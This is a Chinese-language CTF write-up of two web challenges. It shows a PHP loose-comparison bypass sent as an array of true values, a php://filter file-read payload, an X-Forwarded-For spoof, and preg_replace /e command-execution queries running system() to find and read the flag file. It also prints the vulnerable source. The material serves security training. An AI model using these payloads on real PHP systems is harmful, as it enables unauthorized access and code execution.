
一:Lottery
打开后发现这个靶场加载异常缓慢,然后提供了源码。我们先不看源码先熟悉一下这个网站的功能。
这应该是一个类似猜数字游戏,选对 7 个号码即可得到相应奖励。

注册后随便输入 7 个数字发现一个也没中,浪费 2 元。


点击网站功能发现如果想要 flag 需要有相对应的余额。

尝试思路是利用 BP 抓包看看能不能修改我们的余额。

好像成功了,试一试能不能换 flag。

居然说没有足够的钱,这个方法不行。只要将页面上的数字修改,刷新就会变回原来的余额。

既然不能修改余额,那就看看在猜数字的页面有没有突破口。发现其访问了 api.php,继续代码审计。
看到如下核心代码,首先随机生成七位数字(random_win_nums)然后将其赋值给$win_number。随后关键点就是他使用的是两个等号来判断我们传入的数字和随机生成的数字,既然这样那直接可以利用 true 绕过,因为不检查类型。

代码如下
//部分代码
function random_num(){
do {
$byte = openssl_random_pseudo_bytes(10, $cstrong);
$num = ord($byte);
} while ($num >= 250);
if(!$cstrong){ response_error('server need be checked, tell admin'); }
$num /= 25;
return strval(floor($num));
}
function random_win_nums(){
$result = '';
for($i=0; $i<7; $i++){
$result .= random_num();
}
return $result;
}
function buy($req){
require_registered();
require_min_money(2);
$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
switch ($same_count) {
case 2: $prize = 5; break;
case 3: $prize = 20; break;
case 4: $prize = 300; break;
case 5: $prize = 1800; break;
case 6: $prize = 200000; break;
case 7: $prize = 5000000; break;
default: $prize = 0; break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
抓到其流量包我们拦截回应包修改。

利用 PHP 的弱类型比较。
直接将 numbers 字段改为 [true,true,true,true,true,true,true]
成功利用弱类型得到奖金。

成功拿到 flag。

二:ics-05
打开如下所示。

随便点击发现只有此页面可打开,但是好像什么都没有,我们打开页面源代码查看一下。

发现一个 href 可点。

打开如下,好像没什么特别的。

我们修改其为 index.php 回显 ok,既然这样那么如果我们能够读取到这个 index.php 应该就可以拿到 flag。
读取文件使用伪协议。
php://filter/read=convert.base64-encode/resource=index.php
复制这个 base64 然后解密。

打开代码后观察如下代码。
如果 ip 为 127.0.0.1 就是 admin,然后还有一个 preg_replace 方法,pattern 第一个参数的结尾包含了/e 修正符的话,第二个参数就会被当做 php 代码执行。

打开 bp,修改 ip 后为 admin。

然后添加三个参数。
?pat=/heihei/e&rep=system('find+-name+ flag ')&sub=heihei
需要使用 + 置换空格 得到 flag.php。

成功拿到 flag 但注意 flag 不在页面渲染中显示。
?pat=/heihei/e&rep=system('cat+./s3chahahaDir/flag/flag.php')&sub=heihei

解密后的 index.php 代码
<?php error_reporting(0); @session_start(); posix_setuid(1000); ?> <!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <meta name="renderer" content="webkit"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <link rel="stylesheet" href="layui/css/layui.css" media="all"> <title>设备维护中心</title> <meta charset="utf-8"> </head> <body> <ul> <li><a href="?page=index">云平台设备维护中心</a></li> </ul> <fieldset> <legend>设备列表</legend> </fieldset> <table></table> <script type="text/html"> <!-- 这里的 checked 的状态只是演示 --> <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开 | 关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}> </script> <script src="layui/layui.js" charset="utf-8"></script> <script> layui.use('table', function() { var table = layui.table, form = layui.form; table.render({ elem: '#test', url: '/somrthing.json', cellMinWidth: 80, cols: [ [ { type: 'numbers' }, { type: 'checkbox' }, { field: 'id', title: 'ID', width: 100, unresize: true, sort: true }, { field: 'name', title: '设备名', templet: '#nameTpl' }, { field: 'area', title: '区域' }, { field: 'status', title: '维护状态', minWidth: 120, sort: true }, { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true } ] ], page: true }); }); </script> <script> layui.use('element', function() { var element = layui.element; //导航的 hover 效果、二级菜单等功能,需要依赖 element 模块 //监听导航点击 element.on('nav(demo)', function(elem) { //console.log(elem) layer.msg(elem.text()); }); }); </script> <?php $page = $_GET[page]; if (isset($page)) { if (ctype_alnum($page)) { ?> <br /><br /><br /><br /> <div> <p><?php echo $page; die();?></p> <br /><br /><br /><br /> <?php }else{ ?> <br /><br /><br /><br /> <div> <p> <?php if (strpos($page, 'input') > 0) { die(); } if (strpos($page, 'ta:text') > 0) { die(); } if (strpos($page, 'text') > 0) { die(); } if ($page === 'index.php') { die('Ok'); } include($page); die(); ?> </p> <br /><br /><br /><br /> <?php }} //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?> </body> </html>
三:总结
本文通过攻防世界中的两个 Web 题目(Lottery 和 ics-05)演示了如何利用代码审计和漏洞挖掘技术获取 flag。在 Lottery 题目中,通过分析网站的猜数字游戏功能,发现使用 PHP 的弱类型比较漏洞,成功绕过验证并获取奖金和 flag。在 ics-05 题目中,通过修改 IP 地址和利用 PHP 的 preg_replace 函数执行系统命令,成功读取并解密 index.php 文件,最终获取 flag。


